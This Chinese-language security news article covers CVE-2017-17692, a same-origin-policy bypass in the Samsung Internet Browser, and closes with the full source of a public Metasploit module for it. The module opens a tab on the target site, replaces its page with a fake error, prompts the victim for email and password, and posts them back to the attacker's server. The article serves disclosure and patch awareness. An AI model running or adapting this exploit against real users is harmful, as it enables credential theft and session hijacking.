导语:三星手机预装的浏览器应用发现重要漏洞,如果用户访问攻击者控制的站点,攻击者就可以从浏览器中的不同标签页窃取用户数据。该漏洞影响数亿三星安卓设备。
三星手机预装的浏览器应用发现重要漏洞,如果用户访问攻击者控制的站点,攻击者就可以从浏览器中的不同标签页窃取用户数据。该漏洞影响数亿三星安卓设备。
简介
该漏洞CVE号为CVE-2017-17692,实际上是一种存在于主流的三星手机浏览器中的同源策略(Same Origin Policy,SOP)绕过漏洞,影响5.4.02.3以前版本。
同源策略
同源策略是浏览器的一种安全特征,所有支持JavaScript 的浏览器都会使用这个策略。同源是指,域名,协议,端口相同。当一个浏览器的两个tab页中分别打开来 A和B的页面,当浏览器的A tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的,只有和A同源的脚本才会被执行。如果非同源,那么在请求数据时,浏览器会在控制台中报一个异常,提示拒绝访问。换句话说,同源策略确保了来自源A的JS代码不能访问源B的网页的特征。
漏洞
Dhiraj Mishra发现三星网络浏览器中存在同源策略绕过漏洞,允许恶意网站窃取不同标签页中的用户密码、cookie等数据。Rapid7的研究人说说,当三星网络浏览器通过JS操作打开一个给定的域的新标签页,JS代码可以任意改写页面的内容。
也就是说JS绕过了同源策略,将一个站点的JS代码在另一个站点执行。在这个过程中,攻击者首先要在任意的域内插入普通的JS代码,让用户能够访问攻击者控制的web页面。攻击的结果是,攻击者可以复制你的session cookie、劫持session,读写web邮件等等。
官方回应
Mishra将漏洞报告给三星后,三星回应称该应用已经内置于即将发布的Galaxy Note 8中,他们会在10月的时候通过应用商店对应用进行更新。同时,Rapid 7团队发布了一个利用该漏洞的Metasploit Framework和一个视频来严实该攻击。因为Metasploit利用框架已经发布了,所以不懂技术的人也可以利用该漏洞,解决办法就是将应用升级到5.4.02.3以上版本。
附1、Metasploit利用代码(https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/samsung_browser_sop_bypass.rb)
1 ## 2 # This module requires Metasploit: https://metasploit.com/download 3 # Current source: https://github.com/rapid7/metasploit-framework 4 ## 5 6 class MetasploitModule < Msf::Auxiliary 7 include Msf::Exploit::Remote::HttpServer 8 9 def initialize(info = {}) 10 super( 11 update_info( 12 info, 13 'Name' => 'Samsung Internet Browser SOP Bypass', 14 'Description' => %q( 15 This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the 16 Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices. 17 By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather 18 credentials via a fake pop-up. 19 ), 20 'License' => MSF_LICENSE, 21 'Author' => [ 22 'Dhiraj Mishra', # Original discovery, disclosure 23 'Tod Beardsley', # Metasploit module 24 'Jeffrey Martin' # Metasploit module 25 ], 26 'References' => [ 27 [ 'CVE', '2017-17692' ], 28 ['URL', 'http://fr.0day.today/exploit/description/28434'] 29 ], 30 'DisclosureDate' => 'Nov 08 2017', 31 'Actions' => [[ 'WebServer' ]], 32 'PassiveActions' => [ 'WebServer' ], 33 'DefaultAction' => 'WebServer' 34 ) 35 ) 36 37 register_options([ 38 OptString.new('TARGET_URL', [ 39 true, 40 'The URL to spoof origin from.', 41 'http://example.com/' 42 ]), 43 OptString.new('CUSTOM_HTML', [ 44 true, 45 'HTML to display to the victim.', 46 'This page has moved. Please <a href="#">click here</a> to redirect your browser.' 47 ]) 48 ]) 49 50 register_advanced_options([ 51 OptString.new('CUSTOM_JS', [ 52 false, 53 "Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.", 54 '' 55 ]) 56 ]) 57 58 end 59 60 def run 61 exploit # start http server 62 end 63 64 def evil_javascript 65 return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank? 66 js = <<-EOS 67 setTimeout(function(){ 68 x.document.body.innerHTML='<h1>404 Error</h1>'+ 69 '<p>Oops, something went wrong.</p>'; 70 a=x.prompt('E-mail',''); 71 b=x.prompt('Password',''); 72 var cred=JSON.stringify({'user':a,'pass':b}); 73 var xmlhttp = new XMLHttpRequest; 74 xmlhttp.open('POST', window.location, true); 75 xmlhttp.send(cred); 76 }, 3000); 77 EOS 78 js 79 end 80 81 def setup 82 @html = <<-EOS 83 <html> 84 <meta charset="UTF-8"> 85 <head> 86 <script> 87 function go(){ 88 try { 89 var x = window.open('#{datastore['TARGET_URL']}'); 90 #{evil_javascript} 91 } catch(e) { } 92 } 93 </script> 94 </head> 95 <body onclick="go()"> 96 #{datastore['CUSTOM_HTML']} 97 </body></html> 98 EOS 99 end 100 101 def store_cred(username,password) 102 credential_data = { 103 origin_type: :import, 104 module_fullname: self.fullname, 105 filename: 'msfconsole', 106 workspace_id: myworkspace_id, 107 service_name: 'web_service', 108 realm_value: datastore['TARGET_URL'], 109 realm_key: Metasploit::Model::Realm::Key::WILDCARD, 110 private_type: :password, 111 private_data: password, 112 username: username 113 } 114 create_credential(credential_data) 115 end 116 117 # This assumes the default schema is being used. 118 # If it's not that, it'll just display the collected POST data. 119 def collect_data(request) 120 cred = JSON.parse(request.body) 121 u = cred['user'] 122 p = cred['pass'] 123 if u.blank? || p.blank? 124 print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}") 125 else 126 print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}") 127 store_cred(u,p) 128 end 129 end 130 131 def on_request_uri(cli, request) 132 case request.method.downcase 133 when 'get' # initial connection 134 print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'") 135 print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}") 136 send_response(cli, @html) 137 when 'post' # must have fallen for it 138 collect_data(request) 139 else 140 print_error("#{cli.peerhost}: Unhandled method: #{request.method}") 141 end 142 end 143 144 end